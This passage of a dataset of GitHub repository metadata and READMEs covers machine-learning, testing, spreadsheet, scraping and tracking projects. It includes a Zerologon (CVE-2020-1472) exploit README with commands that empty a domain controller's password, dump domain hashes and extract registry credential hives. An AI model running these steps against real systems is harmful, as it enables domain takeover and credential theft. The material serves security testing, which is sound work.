Please refer to the code for more details. To pass arguments to python script in blender, please do following:\n\n~~~bash\nblender [blend file path (optional)] -P [python script path] [-b (running at backstage, optional)] -- --arg1 [ARG1] --arg2 [ARG2]\n~~~\n\n\n\n### Animation\n\nWe provide a simple light and camera setting in `eval_constant/simple_scene.blend`. You may need to adjust it before using. We use `ffmpeg` to convert images into video. Please make sure you have installed it before running. To render the obj files generated above, run\n\n~~~bash\ncd blender_script\nblender ../eval_constant/simple_scene.blend -P render_mesh.py -b\n~~~\n\nThe rendered per-frame image will be saved in `demo/images` and composited video will be saved as `demo/video.mov`. \n\n### Skinning Weight\n\nVisualizing the skinning weight is a good sanity check to see whether the model works as expected. We provide a script using Blender's built-in ShaderNodeVertexColor to visualize the skinning weight. Simply run\n\n~~~bash\ncd blender_script\nblender -P vertex_color.py\n~~~\n\nYou will see something similar to this if the model works as expected:\n\n<img src=\"https://peizhuoli.github.io/neural-blend-shapes/images/skinning_vis.png\" slign=\"center\" width=\"50%\">\n\nMeanwhile, you can import the generated skeleton (in `demo/skeleton.bvh`) to Blender. For skeleton rendering, please refer to [deep-motion-editing](https://github.com/DeepMotionEditing/deep-motion-editing).\n\n## Acknowledgements\n\nThe code in `blender_scripts/nbs_fbx_output.py` is contributed by [@huh8686](https://github.com/huh8686).\n\nThe code in `meshcnn` is adapted from [MeshCNN](https://github.com/ranahanocka/MeshCNN) by [@ranahanocka](https://github.com/ranahanocka/).\n\nThe code in `models/skeleton.py` is adapted from [deep-motion-editing](https://github.com/DeepMotionEditing/deep-motion-editing) by [@kfiraberman](https://github.com/kfiraberman), [@PeizhuoLi](https://github.com/PeizhuoLi) and [@HalfSummer11](https://github.com/HalfSummer11).\n\nThe code in `dataset/smpl.py` is adapted from [SMPL](https://github.com/CalciferZh/SMPL) by [@CalciferZh](https://github.com/CalciferZh).\n\nPart of the test models are taken from [SMPL](https://smpl.is.tue.mpg.de/en), [MultiGarmentNetwork](https://github.com/bharat-b7/MultiGarmentNetwork) and [Adobe Mixamo](https://www.mixamo.com).\n\n## Citation\n\nIf you use this code for your research, please cite our paper:\n\n~~~bibtex\n@article{li2021learning,\n  author = {Li, Peizhuo and Aberman, Kfir and Hanocka, Rana and Liu, Libin and Sorkine-Hornung, Olga and Chen, Baoquan},\n  title = {Learning Skeletal Articulations with Neural Blend Shapes},\n  journal = {ACM Transactions on Graphics (TOG)},\n  volume = {40},\n  number = {4},\n  pages = {130},\n  year = {2021},\n  publisher = {ACM}\n}\n~~~\n\n", "readme_type": "markdown", "hn_comments": "(haven't read the article/paper yet but...)\nI wonder how this works compared to the games industry standard using inverse kinematics?edit: looks like this paper is dedicated to the motion capture side of animations, rather than comparing/blending with procedural generation techniques.<HN_SEP>So here the idea is to predict which points will be more affected by a deformation, given a 3D mesh model and the corresponding skeleton, right?The output is probably something similar to a normal map. Can the deformation be handled efficiently on the GPU using a geometry shader?Hopefully in a few years we won't have aberrations like parts of a body colliding with another. This is also a frequent issue with boats in game.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "testing-cabal/mock", "link": "https://github.com/testing-cabal/mock", "tags": [], "stars": 515, "description": "The Python mock library", "lang": "Python", "repo_lang": "", "readme": "mock is a library for testing in Python. It allows you to replace parts of\nyour system under test with mock objects and make assertions about how they\nhave been used.\n\nmock is now part of the Python standard library, available as `unittest.mock\n<https://docs.python.org/dev/library/unittest.mock.html>`_ in Python 3.3\nonwards.\n\nThis package contains a rolling backport of the standard library mock code\ncompatible with Python 3.6 and up.\n\nPlease see the standard library documentation for more details.\n\n:Homepage: `Mock Homepage`_\n:Download: `Mock on PyPI`_\n:Documentation: `Python Docs`_\n:License: `BSD License`_\n:Support: `Mailing list (testing-in-python@lists.idyll.org)\n <http://lists.idyll.org/listinfo/testing-in-python>`_\n:Code: `GitHub\n <https://github.com/testing-cabal/mock>`_\n:Issue tracker: `GitHub Issues\n <https://github.com/testing-cabal/mock/issues>`_\n:Build status:\n    |CircleCI|_ |Docs|_\n\n    .. |CircleCI| image:: https://circleci.com/gh/testing-cabal/mock/tree/master.svg?style=shield\n    .. _CircleCI: https://circleci.com/gh/testing-cabal/mock/tree/master\n\n    .. |Docs| image:: https://readthedocs.org/projects/mock/badge/?version=latest\n    .. _Docs: http://mock.readthedocs.org/en/latest/\n\n.. _Mock Homepage: http://mock.readthedocs.org/en/latest/\n.. _BSD License: https://github.com/testing-cabal/mock/blob/master/LICENSE.txt\n.. _Python Docs: https://docs.python.org/dev/library/unittest.mock.html\n.. _mock on PyPI: https://pypi.org/project/mock/\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "clvrai/SSGAN-Tensorflow", "link": "https://github.com/clvrai/SSGAN-Tensorflow", "tags": ["ssgan", "semi-supervised-learning", "gan", "generative-adversarial-network"], "stars": 515, "description": "A Tensorflow implementation of Semi-supervised Learning Generative Adversarial Networks (NIPS 2016: Improved Techniques for Training GANs).", "lang": "Python", "repo_lang": "", "readme": "# Semi-supervised learning GAN in Tensorflow\n\nAs part of the implementation series of [Joseph Lim's group at USC](http://csail.mit.edu/~lim), our motivation is to accelerate (or sometimes delay) research in the AI community by promoting open-source projects. To this end, we implement state-of-the-art research papers, and publicly share them with concise reports. Please visit our [group github site](https://github.com/gitlimlab) for other projects.\n\nThis project is implemented by [Shao-Hua Sun](http://shaohua0116.github.io) and the codes have been reviewed by [Jiayuan Mao](https://github.com/vacancy) before being published.\n\n## Descriptions\nThis project is a [Tensorflow](https://www.tensorflow.org/) implementation of **Semi-supervised Learning Generative Adversarial Networks** proposed in the paper [Improved Techniques for Training GANs](http://arxiv.org/abs/1606.03498). The intuition is exploiting the samples generated by GAN generators to boost the performance of image classification tasks by improving generalization.\n\nIn sum, **the main idea** is training a network playing both the roles of a *classifier* performing image classification task as well as a *discriminator* trained to distinguish generated samples produced by a *generator* from the real data. To be more specific, the discriminator/classifier takes an image as input and classified it into *n+1* classes, where *n* is the number of classes of a classification task. True samples are classified into the first *n* classes and generated samples are classified into the *n+1*-th class, as shown in the figure below.\n\n<img src=\"figure/ssgan.png\" height=\"300\"/>\n\nThe loss of this multi-task learning framework can be decomposed into the **supervised loss** \n\n<img src=\"figure/s_loss.png\" height=\"25\"/>, \n\nand the **GAN loss** of a discriminator\n\n<img src=\"figure/gan_loss.png\" height=\"25\"/>, \n\nDuring the training phase, we jointly minimize the total loss obtained by simply combining the two losses together.\n\nThe implemented model is trained and tested on three publicly available datasets: [MNIST](http://yann.lecun.com/exdb/mnist/), [SVHN](http://ufldl.stanford.edu/housenumbers/), and [CIFAR-10](https://www.cs.toronto.edu/~kriz/cifar.html).\n\nNote that this implementation only follows the main idea of the original paper while differing a lot in implementation details such as model architectures, hyperparameters, applied optimizer, etc. Also, some useful training tricks applied to this implementation are stated at the end of this README.\n\n\\*This code is still being developed and subject to change.\n\n## Prerequisites\n\n- Python 2.7 or Python 3.3+\n- [Tensorflow 1.0.0](https://github.com/tensorflow/tensorflow/tree/r1.0)\n- [SciPy](http://www.scipy.org/install.html)\n- [NumPy](http://www.numpy.org/)\n\n## Usage\n\nDownload datasets with:\n```bash\n$ python download.py --dataset MNIST SVHN CIFAR10\n```\nTrain models with downloaded datasets:\n```bash\n$ python trainer.py --dataset MNIST\n$ python trainer.py --dataset SVHN\n$ python trainer.py --dataset CIFAR10\n```\nTest models with saved checkpoints:\n```bash\n$ python evaler.py --dataset MNIST --checkpoint ckpt_dir\n$ python evaler.py --dataset SVHN --checkpoint ckpt_dir\n$ python evaler.py --dataset CIFAR10 --checkpoint ckpt_dir\n```\nThe *ckpt_dir* should be like: ```train_dir/default-MNIST_lr_0.0001_update_G5_D1-20170101-194957/model-1001```\n\nTrain and test your own datasets:\n\n* Create a directory\n```bash\n$ mkdir datasets/YOUR_DATASET\n```\n\n* Store your data as an h5py file datasets/YOUR_DATASET/data.hy and each data point contains\n    * 'image': has shape [h, w, c], where c is the number of channels (grayscale images: 1, color images: 3)\n    * 'label': represented as an one-hot vector\n* Maintain a list datasets/YOUR_DATASET/id.txt listing ids of all data points\n* Modify trainer.py including args, data_info, etc.\n* Finally, train and test models:\n```bash\n$ python trainer.py --dataset YOUR_DATASET\n$ python evaler.py --dataset YOUR_DATASET\n```\n## Results\n\n### MNIST\n\n* Generated samples (100th epochs)\n\n<img src=\"figure/result/mnist/samples.png\" height=\"250\"/>\n\n* First 40 epochs\n\n<img src=\"figure/result/mnist/training.gif\" height=\"250\"/>\n\n### SVHN\n\n* Generated samples (100th epochs)\n\n<img src=\"figure/result/svhn/samples.png\" height=\"250\"/>\n\n* First 160 epochs\n\n<img src=\"figure/result/svhn/training.gif\" height=\"250\"/>\n\n\n### CIFAR-10\n\n* Generated samples (1000th epochs)\n\n<img src=\"figure/result/cifar10/samples.png\" height=\"250\"/>\n\n* First 200 epochs\n\n<img src=\"figure/result/cifar10/training.gif\" height=\"250\"/>\n\n## Training details\n\n### MNIST\n\n* The supervised loss\n\n<img src=\"figure/result/mnist/s_loss.png\" height=\"200\"/>\n\n* The loss of Discriminator\n\nD_loss_real\n\n<img src=\"figure/result/mnist/d_loss_real.png\" height=\"200\"/>\n\nD_loss_fake\n\n<img src=\"figure/result/mnist/d_loss_fake.png\" height=\"200\"/>\n\nD_loss (total loss)\n\n<img src=\"figure/result/mnist/d_loss.png\" height=\"200\"/>\n\n* The loss of Generator\n\nG_loss\n\n<img src=\"figure/result/mnist/g_loss.png\" height=\"200\"/>\n\n* Classification accuracy\n\n<img src=\"figure/result/mnist/accuracy.png\" height=\"200\"/>\n\n### SVHN\n\n* The supervised loss\n\n<img src=\"figure/result/svhn/s_loss.png\" height=\"200\"/>\n\n* The loss of Discriminator\n\nD_loss_real\n\n<img src=\"figure/result/svhn/d_loss_real.png\" height=\"200\"/>\n\nD_loss_fake\n\n<img src=\"figure/result/svhn/d_loss_fake.png\" height=\"200\"/>\n\nD_loss (total loss)\n\n<img src=\"figure/result/svhn/d_loss.png\" height=\"200\"/>\n\n* The loss of Generator\n\nG_loss\n\n<img src=\"figure/result/svhn/g_loss.png\" height=\"200\"/>\n\n* Classification accuracy\n\n<img src=\"figure/result/svhn/accuracy.png\" height=\"200\"/>\n\n### CIFAR-10\n\n* The supervised loss\n\n<img src=\"figure/result/cifar10/s_loss.png\" height=\"200\"/>\n\n* The loss of Discriminator\n\nD_loss_real\n\n<img src=\"figure/result/cifar10/d_loss_real.png\" height=\"200\"/>\n\nD_loss_fake\n\n<img src=\"figure/result/cifar10/d_loss_fake.png\" height=\"200\"/>\n\nD_loss (total loss)\n\n<img src=\"figure/result/cifar10/d_loss.png\" height=\"200\"/>\n\n* The loss of Generator\n\nG_loss\n\n<img src=\"figure/result/cifar10/g_loss.png\" height=\"200\"/>\n\n* Classification accuracy\n\n<img src=\"figure/result/cifar10/accuracy.png\" height=\"200\"/>\n\n## Training tricks\n\n* To avoid the fast convergence of the discriminator network\n    * The generator network is updated more frequently.\n    * Higher learning rate is applied to the training of the generator.\n* One-sided label smoothing is applied to the positive labels.\n* Gradient clipping trick is applied to stablize training\n* Reconstruction loss with an annealed weight is applied as an auxiliary loss to help the generator get rid of the initial local minimum.\n* Utilize [Adam](https://arxiv.org/abs/1412.6980) optimizer with higher momentum.\n* Please refer to the codes for more details.\n\n## Related works\n* [Unsupervised and Semi-supervised Learning with Categorical Generative Adversarial Networks](https://arxiv.org/abs/1511.06390) by Springenberg\n* [Semi-Supervised Learning with Generative Adversarial Networks](https://arxiv.org/abs/1606.01583) by Odena\n* [Good Semi-supervised Learning that Requires a Bad GAN](https://arxiv.org/abs/1705.09783) by Dai *et. al.*\n* My implementation of [Deep Convolutional Generative Adversarial Networks](https://github.com/shaohua0116/DCGAN-Tensorflow) in Tensorflow\n* The architecture diagram is modified from the one drawn in [Unsupervised Representation Learning with Deep Convolutional Generative Adversarial Networks](https://arxiv.org/abs/1511.06434)\n\n## Acknowledgement\n\nPart of codes is from an unpublished project with [Jongwook Choi](https://github.com/wookayin)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "QuantStack/ipysheet", "link": "https://github.com/QuantStack/ipysheet", "tags": ["jupyter", "widgets", "spreadsheet"], "stars": 515, "description": "Jupyter handsontable integration", "lang": "Python", "repo_lang": "", "readme": "# ipysheet\n\n# WARNING\n\nDue to [Handsontable licensing changes](https://handsontable.com/blog/articles/2019/3/handsontable-drops-open-source-for-a-non-commercial-license) ipysheet is stuck witch the outdated Handsontable version 6.2.2 (open-source).\nWe recommend not using ipysheet anymore. We suggest an alternative like [ipydatagrid](https://github.com/bloomberg/ipydatagrid).\n\nSpreadsheet in the Jupyter notebook:\n\n   * Try it out using binder: [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/QuantStack/ipysheet/stable?filepath=docs%2Fsource%2Findex.ipynb)\n   * Or check out the documentation at [https://ipysheet.readthedocs.io/](https://ipysheet.readthedocs.io/en/stable/)\n\n**Create a table and drive a value using ipywidgets:**\n\n![Slider Screencast](docs/source/ipysheet_slider.gif)\n\n**Perform a calculation on slider change:**\n\n![Slider Calculation Screencast](docs/source/ipysheet_slider_calculation.gif)\n\n**Change cell style depending on the value using renderers:**\n\n![Conditional formatting](docs/source/conditional_formatting.png)\n\n**Populate table using cell ranges:**\n\n![Cell Ranges Screencast](docs/source/ipysheet_cell_range.gif)\n\n# Installation\n\nWith conda:\n\n```\n$ conda install -c conda-forge ipysheet\n```\n\nWith pip:\n\n```\n$ pip install ipysheet\n```\n\n### Development install\n\nNote: You will need NodeJS to build the extension package.\n\nThe `jlpm` command is JupyterLab's pinned version of\n[yarn](https://yarnpkg.com/) that is installed with JupyterLab. You may use\n`yarn` or `npm` in lieu of `jlpm` below.\n\n```bash\n# Clone the repo to your local environment\n# Change directory to the ipysheet directory\n# Install package in development mode\npip install -e .\n# Link your development version of the extension with JupyterLab\njupyter labextension develop . --overwrite\n# Rebuild extension Typescript source after making changes\njlpm run build\n```\n\nYou can watch the source directory and run JupyterLab at the same time in different terminals to watch for changes in the extension's source and automatically rebuild the extension.\n\n```bash\n# Watch the source directory in one terminal, automatically rebuilding when needed\njlpm run watch\n# Run JupyterLab in another terminal\njupyter lab\n```\n\nWith the watch command running, every saved change will immediately be built locally and available in your running JupyterLab. Refresh JupyterLab to load the change in your browser (you may need to wait several seconds for the extension to be rebuilt).\n\nBy default, the `jlpm run build` command generates the source maps for this extension to make it easier to debug using the browser dev tools. To also generate source maps for the JupyterLab core extensions, you can run the following command:\n\n```bash\njupyter lab build --minimize=False\n```\n\n### Development uninstall\n\n```bash\npip uninstall ipysheet\n```\n\nIn development mode, you will also need to remove the symlink created by `jupyter labextension develop`\ncommand. To find its location, you can run `jupyter labextension list` to figure out where the `labextensions`\nfolder is located. Then you can remove the symlink named `ipysheet` within that folder.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "uber-research/go-explore", "link": "https://github.com/uber-research/go-explore", "tags": [], "stars": 515, "description": "Code for Go-Explore: a New Approach for Hard-Exploration Problems", "lang": "Python", "repo_lang": "", "readme": "# Go-Explore\n\nThis is the code for [First return then explore](https://arxiv.org/abs/2004.12919), the new Go-explore paper. Code for the [original paper](https://arxiv.org/abs/1901.10995) can be found in this repository under the tag \"v1.0\" or the release \"Go-Explore v1\". \n\nThe code for Go-Explore with a deterministic exploration phase followed by a robustification phase is located in the `robustified` subdirectory. The code for Go-Explore with a policy-based exploration phase is located in the `policy_based` subdirectory. Installation instructions for each variant of Go-Explore can be found in their respective directories.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "chenjiandongx/bili-spider", "link": "https://github.com/chenjiandongx/bili-spider", "tags": ["bilibili", "spider"], "stars": 515, "description": "\ud83d\udcfa B \u7ad9\u5168\u7ad9\u89c6\u9891\u4fe1\u606f\u722c\u866b", "lang": "Python", "repo_lang": "", "readme": "# B \u7ad9\u5168\u7ad9\u89c6\u9891\u4fe1\u606f\u722c\u866b\n\nB \u7ad9\u6211\u60f3\u5927\u5bb6\u90fd\u719f\u6089\u5427\uff0c\u5176\u5b9e B \u7ad9\u7684\u722c\u866b\u7f51\u4e0a\u4e00\u641c\u4e00\u5927\u5806\u3002\u4e0d\u8fc7 **\u7eb8\u4e0a\u5f97\u6765\u7ec8\u89c9\u6d45\uff0c\u7edd\u77e5\u6b64\u4e8b\u8981\u8eac\u884c**\uff0c\u6211\u7801\u6545\u6211\u5728\u3002\u6700\u7ec8\u722c\u53d6\u5230\u6570\u636e\u603b\u91cf\u4e3a **1300 \u4e07** \u6761\u3002\n\n#### \u5f00\u53d1\u73af\u5883\u4e3a\uff1aWindows10 + python3\n\n### \u51c6\u5907\u5de5\u4f5c\n\n\u9996\u5148\u6253\u5f00 B \u7ad9\uff0c\u968f\u4fbf\u5728\u9996\u9875\u627e\u4e00\u4e2a\u89c6\u9891\u70b9\u51fb\u8fdb\u53bb\u3002\u5e38\u89c4\u64cd\u4f5c\uff0c\u6253\u5f00\u5f00\u53d1\u8005\u5de5\u5177\u3002\u8fd9\u6b21\u662f\u76ee\u6807\u662f\u901a\u8fc7\u722c\u53d6 B \u7ad9\u63d0\u4f9b\u7684 api \u6765\u83b7\u53d6\u89c6\u9891\u4fe1\u606f\uff0c\u4e0d\u53bb\u89e3\u6790\u7f51\u9875\uff0c\u89e3\u6790\u7f51\u9875\u7684\u901f\u5ea6\u592a\u6162\u4e86\u800c\u4e14\u5bb9\u6613\u88ab\u5c01 ip\u3002\n\n\u52fe\u9009 JS \u9009\u9879\uff0cF5 \u5237\u65b0\n\n![bili-0](https://github.com/chenjiandongx/bili-spider/blob/master/images/bili-0.png)\n\n\u627e\u5230\u4e86 api \u7684\u5730\u5740\n\n![bili-1](https://github.com/chenjiandongx/bili-spider/blob/master/images/bili-1.png)\n\n\u590d\u5236\u4e0b\u6765\uff0c\u53bb\u9664\u6ca1\u5fc5\u8981\u7684\u5185\u5bb9\uff0c\u5f97\u5230 https://api.bilibili.com/x/web-interface/archive/stat?aid=15906633 \uff0c\u7528\u6d4f\u89c8\u5668\u6253\u5f00\uff0c\u4f1a\u5f97\u5230\u5982\u4e0b\u7684 json \u6570\u636e\n\n![bili-2](https://github.com/chenjiandongx/bili-spider/blob/master/images/bili-2.png)\n\n### \u52a8\u624b\u5199\u7801\n\n\u597d\u4e86\uff0c\u5230\u8fd9\u91cc\u4ee3\u7801\u5c31\u53ef\u4ee5\u7801\u8d77\u6765\u4e86\uff0c\u901a\u8fc7 request \u4e0d\u65ad\u7684\u8fed\u4ee3\u83b7\u53d6\u6570\u636e\uff0c\u4e3a\u4e86\u8ba9\u722c\u866b\u66f4\u9ad8\u6548\uff0c\u53ef\u4ee5\u5229\u7528\u591a\u7ebf\u7a0b\u3002\n\n#### \u6838\u5fc3\u4ee3\u7801\n```\nresult = []\nreq = requests.get(url, headers=headers, timeout=6).json()\ntime.sleep(0.6)     # \u5ef6\u8fdf\uff0c\u907f\u514d\u592a\u5feb ip \u88ab\u5c01\ntry:\n    data = req['data']\n    video = (\n        total,\n        data['aid'],        # \u89c6\u9891\u7f16\u53f7\n        data['view'],       # \u64ad\u653e\u91cf\n        data['danmaku'],    # \u5f39\u5e55\u6570\n        data['reply'],      # \u8bc4\u8bba\u6570\n        data['favorite'],   # \u6536\u85cf\u6570\n        data['coin'],       # \u786c\u5e01\u6570\n        data['share']       # \u5206\u4eab\u6570\n    )\n    with lock:\n        result.append(video)\n        if total % 100 == 0:\n            print(total)\n        total += 1\nexcept:\n    pass\n```\n\n#### \u8fed\u4ee3\u722c\u53d6\n```\nurls = [\"http://api.bilibili.com/archive_stat/stat?aid={}\".format(i)\n        for i in range(10000)]\nwith futures.ThreadPoolExecutor(32) as executor:    # \u591a\u7ebf\u7a0b\n    executor.map(run, urls)\n```\n\n\u722c\u53d6\u540e\u6570\u636e\u5b58\u653e\u8fdb\u4e86 MySQL \u6570\u636e\u5e93\uff0c\u603b\u5171\u722c\u53d6\u5230\u4e86 1300w+ \u6761\u6570\u636e\n\n\u524d 750w \u6761\u6570\u636e\u5728\u8fd9\u91cc [bili.zip](https://github.com/chenjiandongx/bili-spider/blob/master/data/bili.zip)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "risksense/zerologon", "link": "https://github.com/risksense/zerologon", "tags": [], "stars": 515, "description": "Exploit for zerologon cve-2020-1472", "lang": "Python", "repo_lang": "", "readme": "# ZeroLogon exploitation script\n\nExploit code based on https://www.secura.com/blog/zero-logon and https://github.com/SecuraBV/CVE-2020-1472. Original research and scanner by Secura, modifications by RiskSense Inc.\n\nTo exploit, clear out any previous Impacket installs you have and install Impacket from https://github.com/SecureAuthCorp/impacket/commit/b867b21 or newer. Then, do:\n\n```\npython3 set_empty_pw DC_NETBIOS_NAME DC_IP_ADDR\n```\n\nIf that's successful you will then be able to:\n```\nsecretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'\n```\nwhich should get you Domain Admin. After you have that, wmiexec.py to the target DC with a credential from the secretsdump and do\n```\nreg save HKLM\\SYSTEM system.save\nreg save HKLM\\SAM sam.save\nreg save HKLM\\SECURITY security.save\nget system.save\nget sam.save\nget security.save\ndel /f system.save\ndel /f sam.save\ndel /f security.save\n```\n\nThen you can\n```\nsecretsdump.py -sam sam.save -system system.save -security security.save LOCAL\n```\nAnd that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by\n```\npython3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH\n```\n\nReinstalling the original hash is necessary for the DC to continue to operate normally.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Socialbird-AILab/BERT-Classification-Tutorial", "link": "https://github.com/Socialbird-AILab/BERT-Classification-Tutorial", "tags": [], "stars": 515, "description": null, "lang": "Python", "repo_lang": "", "readme": "#BERT-Classification-Tutorial\nLabeling data can be said to be the most difficult task in AI model training. Data annotation for natural language processing requires a lot of manpower. Compared with image annotation in computer vision, there is usually no accurate standard answer for text annotation, and the understanding of sentences varies from person to person, making this task even more difficult.\nbut! Google's recently released BERT has greatly solved this problem! According to our experiments, BERT can bring a significant improvement in classification accuracy with extremely small data in the multi-text classification task. Moreover, the main comparison of the experiment is the State of the art language model transfer learning model - ULMFiT (https://arxiv.org/abs/1801.06146) released only 5 months ago, and the results have been significantly improved.\n\n![alt text](https://github.com/Socialbird-AILab/BERT-Classification-Tutorial/blob/master/pictures/Results.png)\n\nFrom the above figure, we can see that in different data sets, BERT has very good performance. The experimental data we use is divided into 1000, 6700 and 12000 pieces, and each contains test data, and the training test split is 80%-20%. The dataset is obtained from multiple web sources and undergoes a series of taxonomic mappings. However, the Noisy dataset has significant noise, and sampling statistics show that the noise ratio is around 20%. The experiment compared several models, from the most basic convolutional network as Baseline, to convolutional network plus traditional word vector Glove embedding, and then ULMFiT and BERT.\n\n\n# 1. Operating environment\nThe Tensorflow version is Windows 1.10.0 GPU, and the specific installation tutorial can refer to this link https://www.tensorflow.org/install/pip?lang=python3. Anaconda version is 1.9.2.\n\n# 2. Hardware configuration\nThe graphics card used in the experiment is NVIDIA GeoForce GTX 1080 Ti, and the BERT base model occupies about 9.5G of video memory.\n\n# 3. Download the model\nAfter all the operating environments are set up, we can download the BERT base for our experiment here: https://storage.googleapis.com/bert_models/2018_10_18/uncased_L-12_H-768_A-12.zip\n After downloading, put it in BERT_BASE_DIR.\n\n# 4. Input data preparation\nWe need to split the text data into three parts:\n\" Train: train.tsv\n\" Evaluate: dev.tsv\n\" Test: test.tsv\nBelow you can see the format of each file, which is very simple. One column is the text data that needs to be classified, and the other column is the corresponding Label.\n\nThe data folder contains 1000 sample data of 10 categories, which are divided into training and testing sets.\n\n![alt text](https://github.com/Socialbird-AILab/BERT-Classification-Tutorial/blob/master/pictures/Our%20data%20example.png)\n\n# 5. Implementation details\nRun run_classifier.py to implement the text classification task of 1000 10-category sample data. For specific implementation details, please refer to the tutorial: https://mp.weixin.qq.com/s/XmeDjHSFI0UsQmKeOgwnyA", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "framespot/client-py", "link": "https://github.com/framespot/client-py", "tags": ["upload-filter", "copyright-protection", "copyright-violation-detection", "copyright-infringement", "copyright-scan", "content-recognition"], "stars": 514, "description": "Free Copyright Filter to fulfill EU Upload Filter Directive", "lang": "Python", "repo_lang": "", "readme": "Free copyright filter to fulfill EU Copyright Directive\n\n### Install dependencies\n\nThe python client depends on `opencv-contrib-python` or `opencv-contrib-python-headless`\n\n```\ngit clone https://github.com/framespot/client-py.git\ncd client-py\npip install -r requirements.txt\n```\n\n### Inference copyright\n\n```\npython . --verbose /path/to/movie.mp4\npython . --verbose /path/to/stockphoto.jpg\n```\n\n### Example result\n\n```JSON\n[{\n  \"uri\": \"https://www.imdb.com/title/tt2380307/\",\n  \"ids\": {\"imdb\": \"tt2380307\", \"tmdb\": \"movie/354912\"},\n  \"title\": \"Coco\",\n  \"year\": \"2017\",\n  \"genres\": [\"Animation\",\"Family\",\"Comedy\",\"Adventure\",\"Fantasy\"],\n  \"companies\": [\"Pixar\",\"Walt Disney Pictures\"],\n  \"homepage\": \"https://www.pixar.com/feature-films/coco\",\n  \"poster\": \"https://www.themoviedb.org/t/p/original/gGEsBPAijhVUFoiNpgZXqRVWJt2.jpg\",\n  \"frames\": [{\n    \"type\": \"movie\",\n    \"season\": null,\n    \"episode\": null,\n    \"offset\": 1855,\n    \"hamming\": 8,\n    \"matrix\": [[ 1.001, 0.008,-0.001],\n               [-0.008, 1.001, 0.004]]\n  }]\n}]\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "got-10k/toolkit", "link": "https://github.com/got-10k/toolkit", "tags": [], "stars": 514, "description": "Official Python toolkit for generic object tracking benchmark GOT-10k and beyond", "lang": "Python", "repo_lang": "", "readme": "# GOT-10k Python Toolkit\n\n> UPDATE:<br>\n> All common tracking datasets (GOT-10k, OTB, VOT, UAV, TColor, DTB, NfS, LaSOT and TrackingNet) are supported.<br>\n> Support VOT2019 (ST/LT/RGBD/RGBT) downloading.<br>\n> Fix the randomness in ImageNet-VID ([issue #13](https://github.com/got-10k/toolkit/issues/13)).\n\n_Run experimenets over common tracking benchmarks (code from [siamfc](https://github.com/got-10k/siamfc/blob/master/test.py)):_\n\n<img src=\"resources/sample_batch_run.jpg\" width = \"600\" alt=\"sample_batch_run\" align=center />\n\nThis repository contains the official python toolkit for running experiments and evaluate performance on [GOT-10k](http://got-10k.aitestunion.com/) benchmark. The code is written in pure python and is compile-free. Although we support both python2 and python3, we recommend python3 for better performance.\n\nFor convenience, the toolkit also provides unofficial implementation of dataset interfaces and tracking pipelines for [OTB (2013/2015)](http://cvlab.hanyang.ac.kr/tracker_benchmark/index.html), [VOT (2013~2018)](http://votchallenge.net), [DTB70](https://github.com/flyers/drone-tracking), [TColor128](http://www.dabi.temple.edu/~hbling/data/TColor-128/TColor-128.html), [NfS (30/240 fps)](http://ci2cv.net/nfs/index.html), [UAV (123/20L)](https://ivul.kaust.edu.sa/Pages/pub-benchmark-simulator-uav.aspx), [LaSOT](https://cis.temple.edu/lasot/) and [TrackingNet](https://tracking-net.org/) benchmarks. It also offers interfaces for [ILSVRC VID](https://image-net.org/challenges/LSVRC/2015/#vid) and [YouTube-BoundingBox](https://research.google.com/youtube-bb/) (comming soon!) datasets.\n\n[GOT-10k](http://got-10k.aitestunion.com/) is a large, high-diversity and one-shot database for training and evaluating generic purposed visual trackers. If you use the GOT-10k database or toolkits for a research publication, please consider citing:\n\n```Bibtex\n@ARTICLE{8922619,\n  author={Huang, Lianghua and Zhao, Xin and Huang, Kaiqi},\n  journal={IEEE Transactions on Pattern Analysis and Machine Intelligence}, \n  title={GOT-10k: A Large High-Diversity Benchmark for Generic Object Tracking in the Wild}, \n  year={2021},\n  volume={43},\n  number={5},\n  pages={1562-1577},\n  doi={10.1109/TPAMI.2019.2957464}}\n```\n\n&emsp;\\[[Project](http://got-10k.aitestunion.com/)\\]\\[[PDF](https://arxiv.org/abs/1810.11981)\\]\\[[Bibtex](http://got-10k.aitestunion.com/bibtex)\\]\n\n## Table of Contents\n\n* [Installation](#installation)\n* [Quick Start: A Concise Example](#quick-start-a-concise-example)\n* [Quick Start: Jupyter Notebook for Off-the-Shelf Usage](#quick-start-jupyter-notebook-for-off-the-shelf-usage)\n* [How to Define a Tracker?](#how-to-define-a-tracker)\n* [How to Run Experiments on GOT-10k?](#how-to-run-experiments-on-got-10k)\n* [How to Evaluate Performance?](#how-to-evaluate-performance)\n* [How to Plot Success Curves?](#how-to-plot-success-curves)\n* [How to Loop Over GOT-10k Dataset?](#how-to-loop-over-got-10k-dataset)\n* [Issues](#issues)\n* [Contributors](#contributors)\n\n### Installation\n\nInstall the toolkit using `pip` (recommended):\n\n```bash\npip install --upgrade got10k\n```\n\nStay up-to-date:\n\n```bash\npip install --upgrade git+https://github.com/got-10k/toolkit.git@master\n```\n\nOr, alternatively, clone the repository and install dependencies:\n\n```\ngit clone https://github.com/got-10k/toolkit.git\ncd toolkit\npip install -r requirements.txt\n```\n\nThen directly copy the `got10k` folder to your workspace to use it.\n\n### Quick Start: A Concise Example\n\nHere is a simple example on how to use the toolkit to 